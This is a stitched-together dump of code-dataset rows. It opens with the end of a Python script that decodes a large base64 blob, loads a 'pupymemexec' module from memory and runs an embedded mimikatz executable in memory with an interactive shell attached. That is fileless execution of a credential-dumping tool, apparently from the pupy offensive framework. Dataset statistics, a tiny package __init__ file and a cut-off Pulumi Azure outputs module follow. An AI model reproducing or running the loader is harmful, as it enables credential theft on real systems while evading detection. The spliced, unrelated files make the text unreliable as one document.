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wfjCZMK4wwTDmMCIxPjFZMZgx4DHuMSYyXTJ4MpcyqjK3MmQzezPOM9wzFTQvNI40lDSZNOY0AHACAEABAABsNXg1fDW8NcA1aDdsN3A3eDeAN4Q3ADgEOGw7uDu8O8A7xDvIO8w70DvUO9g73DvgO+Q76DvsO/A79Dv4O/w7ADwEPAg8DDwQPBQ8GDwcPCA8JDwoPCw8MDw0PDg8PDxAPEQ8SDxMPFA8VDxYPFw8YDxkPGg8bDxwPHQ8eDx8PIA8iDyMPJA8lDyYPJw8oDykPKg8rDywPLQ87D3wPfQ9+D38PQA+BD4IPgw+ED4UPhg+HD4gPiQ+MD5MPlA+VD5YPlw+YD5kPmg+dD54Pnw+kD6oPsA+2D7cPvA+9D4IPww/ID8oPyw/MD80Pzg/RD9QP1Q/WD9cP2A/ZD9oP2w/cD90P3g/fD+AP4Q/kD+cP6A/pD+oP6w/sD+0P7g/vD/AP8Q/yD/MP9A/3D/oP+w/8D/0P/g//D8AgAIA+AIAAAAwBDAIMAwwEDAUMBgwHDAgMCQwKDAsMDAwNDA4MDwwQDBEMEgwTDBQMFQwWDBcMGAwZDBoMHAwfDCAMIQwiDCMMJAwlDCYMKQwsDC0MLgwvDDAMMQwyDDMMNAw1DDYMNww4DDkMOgw7DDwMPQw+DD8MAAxBDEIMQwxEDEUMSAxLDEwMTwxSDFMMVAxVDFYMVwxYDFkMWgxbDFwMXQxeDF8MYAxhDGIMYwxkDGUMZgxnDGgMawxuDG8McAxxDHIMcwx0DHUMdgx3DHgMeQx6DHsMfAx9DH4MfwxADIEMggyDDIQMhQyGDIcMiAyJDIoMiwyMDI0MjgyPDJAMkQySDJMMlgyZDJoMnQygDKEMogyjDKQMpQymDKcMqAypDKoMqwysDK0MrgyvDLAMsgyzDLUMtgy4DLkMugy7DLwMvQy+DL8MgAzBDMIMwwzEDMUMxgzHDMgMygzLDM0MzgzPDNAM0QzSDNMM1AzXDPoNPA09DT4NAA1BDUQNRQ1IDUkNTA1NDU4NUA1RDVINVA1VDVYNWA1ZDVwNXQ1gDWENZA1lDWgNaQ1sDW0NcA1xDXQNdQ14DXkNfA19DX4NQA2BDYINhA2FDYYNhw2IDYkNig2LDYwNjQ2QDZMNlA2XDZgNmQ2aDZsNnA2dDZ4Nnw2gDaENog2jDaQNpQ2mDacNqA2pDaoNqw2sDa0Nrg2vDbANsQ23DbgNuQ26DbsNvA29Db4Nvw2ADcENwg3DDcQNxQ3GDccNyg3LDcwN5Q3mDecN6A3pDeoN6w3tDe4N7w3wDfEN8g3zDfQN9Q32DfcN+A35DfoN+w38Df0N/g3/DcEOAg4DDgQOBQ4GDgcOCA4JDgoOCw4MDg0ODg4PDhAOEQ4SDhMOFA4VDhYOFw4YDhkOGg4bDhwOHQ4eDh8OIQ4jDiQOJQ4mDicOKA4pDioOKw4sDi0OLg4vDjAOMQ4yDjMONA41DjYONw44DjkOOg47DjwOPQ4+Dj8OAA5BDkIOQw5AKACAJQAAAAgPiQ+KD4sPkA+cD50Png+fD6QPtA+1D7YPtw+4D7kPug+7D7wPvQ++D78PgA/BD8IPww/ED8UPxg/ID8oPzA/OD9AP0g/UD9YP1w/YD9kP2g/bD9wP3Q/eD98P4A/hD+IP4w/kD+UP5g/nD+gP6Q/qD+sP7A/tD+4P8A/yD/QP9g/4D/oP/A/+D8AAACwAgBIAQAAADAIMBAwGDAgMCgwMDA4MEAwSDBQMFgwYDBoMHAweDCAMIgwkDCYMKAwqDCwMLgwwDDIMNAw2DDgMOgw8DD4MAAxCDEQMRgxIDEoMTAxODFAMUgxUDFYMWAxaDFwMXgxgDGIMZAxmDGgMagxsDG4McAxyDHQMdgx4DHoMfAx+DEAMggyEDIYMiAyKDIwMjgyQDJIMlAyWDJgMmgycDJ4MoAyiDKQMpgyoDKoMrAyuDLAMsgy0DLYMuAy6DLwMvgyADMIMxAzGDMgMygzMDM4M0AzSDNQM1gzYDNoM3AzeDOAM4gzkDOYM6AzqDOwM7gzwDPIM9Az2DPgM+gz8DP4MwA0CDQQNBg0IDQoNDA0ODRANEg0UDRYNGA0aDRwNHg0fDSANIQ0iDSMNJA0lDSYNJw0oDSwNLw0yDTUNOA07DQAgAQAJAAAAOw+8D4MPxA/LD8wPzw/QD9MP1A/XD9gP2w/cD8AsAQAxAAAABAwFDA0MDAzNDM8M3wzgDOIM7Az7DMoNGQ0oDTkNOg08DQYNVQ1kDXUNQg2DDYUNjQ2ODZANnA2pDaoNrA2+DY0N3A3rDfoNyQ4YDicONA41DjYONw46DggOVw5mDnMOdg5+Dn8OQQ6RDpQOng6tDrwOiw7aDukO9g73DvgO+Q76DvsO/A79Dv4O/w7ADwEPAg8DDwoPGQ8yDwEPUA9fD24PQA+PD54PrQ+7D7wPmA/aD+cP6Q/2D/gPwAAAMAEAJABAAAUMBwwoDCoMNww5DAYMSAxVDFcMYgxjDGQMZQxmDGcMaAxpDGoMawxsDG0MbgxvDHQMeQx+DEwMmwyqDLwMvgyaDOkM+AzHDRQNHw0gDSENIg0jDSQNKg0sDTkNOw0IDUoNVw1ZDWQNZQ1mDWcNaA1pDWoNaw1sDW0Nbg1vDXANcQ1zDXgNeg1IDYkNig2LDYwNjQ2ODY8NkA2RDZINkw2UDZUNlg2XDZgNmQ2aDZsNnA2dDZ4Nnw2gDaENog2jDaQNpQ2mDacNqQ2rDa0Nrw2xDbMNjg3QDd0N3w3sDe4N+w39DcoODA4ZDhsONA42DgMORQ5SDlQOYg5xDkAOlg6YDqUOpw60DrYOgw7FDtEO3A7dDt4O3w7gDuEO4g7jDuQO5Q7mDucO6A7pDuoO6w7sDu0O7g7vDvAO8Q7yDvMO9A71DvYO9w74DvkO+g77DvwO/Q7+Dv8OwA8BDwIPBw8IDwkPCg8LDwwPDQ8ODw8PEA8RDxIPEw8UDxUPFg8XDxgPGQ8aDwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=""" if __name__=="__main__": #initializing memimporter to inject the shellcode pymemimporter.init() #import new builtin _memimporter module import _memimporter #load pupymemexec.pyd dependency from memory, which is a dependency for memexec.py imp.acquire_lock() pkgname="pupymemexec" mod=_memimporter.import_module(base64.b64decode(pupymem_exec_pyd.strip()), "init"+pkgname, pkgname, pkgname) mod.__name__=pkgname mod.__file__="<lolnofile>" mod.__package__=pkgname sys.modules[pkgname]=mod imp.release_lock() #execute the PE and interact with its stdin/stdout import memexec mpe=memexec.MemoryPE(base64.b64decode(mimikatz_32.strip())) mpe.run() mpe.get_shell()

14,169.75

451,247

0.952314

16,994

510,111

28.583794

0.810463

0.000198

0.000086

0.000099

0.003611

0.003154

0.002207

0.001886

0.001223

0.000301

0

0.088311

0.00028

510,111

35

451,248

14,574.6

0.864205

0.000423

0

0.086957

0.998863

0.998792

0

1

0

1

0

false

0

0.347826

0

0.347826

0

1

null

0

1

0

1

null

1

0

1

0

7

913a7b4e6d725db42cd39b0406e3a0cb3a8c8eca

85

py

Python

fifty/commands/__init__.py

mittalgovind/fifty

0d309084aea78ec1fe66ef3f03fb27d6c8d1032b

[ "Apache-2.0" ]

12

2019-08-18T11:04:31.000Z

2022-03-16T07:01:01.000Z

fifty/commands/__init__.py

mittalgovind/fifty

0d309084aea78ec1fe66ef3f03fb27d6c8d1032b

[ "Apache-2.0" ]

7

2019-10-23T19:07:38.000Z

2022-02-10T03:54:06.000Z

fifty/commands/__init__.py

mittalgovind/fifty

0d309084aea78ec1fe66ef3f03fb27d6c8d1032b

[ "Apache-2.0" ]

4

2019-12-17T02:27:29.000Z

2020-10-02T09:46:16.000Z

# __init__.py from fifty.commands.train import * from fifty.commands.whatis import *

21.25

35

0.788235

12

85

5.25

0.666667

0.285714

0.539683

0

0.117647

85

3

36

28.333333

0.84

0.129412

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

913f2ee7f2c789befb218e20b685d9af380228a7

36,275

py

Python

sdk/python/pulumi_azure/appplatform/outputs.py

suresh198526/pulumi-azure

bf27206a38d7a5c58b3c2c57ec8769fe3d0fc5d7

[ "ECL-2.0", "Apache-2.0" ]

null

sdk/python/pulumi_azure/appplatform/outputs.py

suresh198526/pulumi-azure

bf27206a38d7a5c58b3c2c57ec8769fe3d0fc5d7

[ "ECL-2.0", "Apache-2.0" ]

null

sdk/python/pulumi_azure/appplatform/outputs.py

suresh198526/pulumi-azure

bf27206a38d7a5c58b3c2c57ec8769fe3d0fc5d7

[ "ECL-2.0", "Apache-2.0" ]

null

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union from .. import _utilities, _tables from . import outputs __all__ = [ 'SpringCloudAppIdentity', 'SpringCloudServiceConfigServerGitSetting', 'SpringCloudServiceConfigServerGitSettingHttpBasicAuth', 'SpringCloudServiceConfigServerGitSettingRepository', 'SpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuth', 'SpringCloudServiceConfigServerGitSettingRepositorySshAuth', 'SpringCloudServiceConfigServerGitSettingSshAuth', 'SpringCloudServiceNetwork', 'SpringCloudServiceTrace', 'GetSpringCloudServiceConfigServerGitSettingResult', 'GetSpringCloudServiceConfigServerGitSettingHttpBasicAuthResult', 'GetSpringCloudServiceConfigServerGitSettingRepositoryResult', 'GetSpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuthResult', 'GetSpringCloudServiceConfigServerGitSettingRepositorySshAuthResult', 'GetSpringCloudServiceConfigServerGitSettingSshAuthResult', ] @pulumi.output_type class SpringCloudAppIdentity(dict): def __init__(__self__, *, type: str, principal_id: Optional[str] = None, tenant_id: Optional[str] = None): """ :param str type: Specifies the identity type of the Spring Cloud Application. Possible value is `SystemAssigned`. :param str principal_id: The Principal ID for the Service Principal associated with the Managed Service Identity of this Spring Cloud Application. :param str tenant_id: The Tenant ID for the Service Principal associated with the Managed Service Identity of this Spring Cloud Application. """ pulumi.set(__self__, "type", type) if principal_id is not None: pulumi.set(__self__, "principal_id", principal_id) if tenant_id is not None: pulumi.set(__self__, "tenant_id", tenant_id) @property @pulumi.getter def type(self) -> str: """ Specifies the identity type of the Spring Cloud Application. Possible value is `SystemAssigned`. """ return pulumi.get(self, "type") @property @pulumi.getter(name="principalId") def principal_id(self) -> Optional[str]: """ The Principal ID for the Service Principal associated with the Managed Service Identity of this Spring Cloud Application. """ return pulumi.get(self, "principal_id") @property @pulumi.getter(name="tenantId") def tenant_id(self) -> Optional[str]: """ The Tenant ID for the Service Principal associated with the Managed Service Identity of this Spring Cloud Application. """ return pulumi.get(self, "tenant_id") def _translate_property(self, prop): return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop @pulumi.output_type class SpringCloudServiceConfigServerGitSetting(dict): def __init__(__self__, *, uri: str, http_basic_auth: Optional['outputs.SpringCloudServiceConfigServerGitSettingHttpBasicAuth'] = None, label: Optional[str] = None, repositories: Optional[Sequence['outputs.SpringCloudServiceConfigServerGitSettingRepository']] = None, search_paths: Optional[Sequence[str]] = None, ssh_auth: Optional['outputs.SpringCloudServiceConfigServerGitSettingSshAuth'] = None): """ :param str uri: The URI of the default Git repository used as the Config Server back end, should be started with `http://`, `https://`, `git@`, or `ssh://`. :param 'SpringCloudServiceConfigServerGitSettingHttpBasicAuthArgs' http_basic_auth: A `http_basic_auth` block as defined below. :param str label: The default label of the Git repository, should be the branch name, tag name, or commit-id of the repository. :param Sequence['SpringCloudServiceConfigServerGitSettingRepositoryArgs'] repositories: One or more `repository` blocks as defined below. :param Sequence[str] search_paths: An array of strings used to search subdirectories of the Git repository. :param 'SpringCloudServiceConfigServerGitSettingSshAuthArgs' ssh_auth: A `ssh_auth` block as defined below. """ pulumi.set(__self__, "uri", uri) if http_basic_auth is not None: pulumi.set(__self__, "http_basic_auth", http_basic_auth) if label is not None: pulumi.set(__self__, "label", label) if repositories is not None: pulumi.set(__self__, "repositories", repositories) if search_paths is not None: pulumi.set(__self__, "search_paths", search_paths) if ssh_auth is not None: pulumi.set(__self__, "ssh_auth", ssh_auth) @property @pulumi.getter def uri(self) -> str: """ The URI of the default Git repository used as the Config Server back end, should be started with `http://`, `https://`, `git@`, or `ssh://`. """ return pulumi.get(self, "uri") @property @pulumi.getter(name="httpBasicAuth") def http_basic_auth(self) -> Optional['outputs.SpringCloudServiceConfigServerGitSettingHttpBasicAuth']: """ A `http_basic_auth` block as defined below. """ return pulumi.get(self, "http_basic_auth") @property @pulumi.getter def label(self) -> Optional[str]: """ The default label of the Git repository, should be the branch name, tag name, or commit-id of the repository. """ return pulumi.get(self, "label") @property @pulumi.getter def repositories(self) -> Optional[Sequence['outputs.SpringCloudServiceConfigServerGitSettingRepository']]: """ One or more `repository` blocks as defined below. """ return pulumi.get(self, "repositories") @property @pulumi.getter(name="searchPaths") def search_paths(self) -> Optional[Sequence[str]]: """ An array of strings used to search subdirectories of the Git repository. """ return pulumi.get(self, "search_paths") @property @pulumi.getter(name="sshAuth") def ssh_auth(self) -> Optional['outputs.SpringCloudServiceConfigServerGitSettingSshAuth']: """ A `ssh_auth` block as defined below. """ return pulumi.get(self, "ssh_auth") def _translate_property(self, prop): return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop @pulumi.output_type class SpringCloudServiceConfigServerGitSettingHttpBasicAuth(dict): def __init__(__self__, *, password: str, username: str): """ :param str password: The password used to access the Git repository server, required when the Git repository server supports Http Basic Authentication. :param str username: The username that's used to access the Git repository server, required when the Git repository server supports Http Basic Authentication. """ pulumi.set(__self__, "password", password) pulumi.set(__self__, "username", username) @property @pulumi.getter def password(self) -> str: """ The password used to access the Git repository server, required when the Git repository server supports Http Basic Authentication. """ return pulumi.get(self, "password") @property @pulumi.getter def username(self) -> str: """ The username that's used to access the Git repository server, required when the Git repository server supports Http Basic Authentication. """ return pulumi.get(self, "username") def _translate_property(self, prop): return 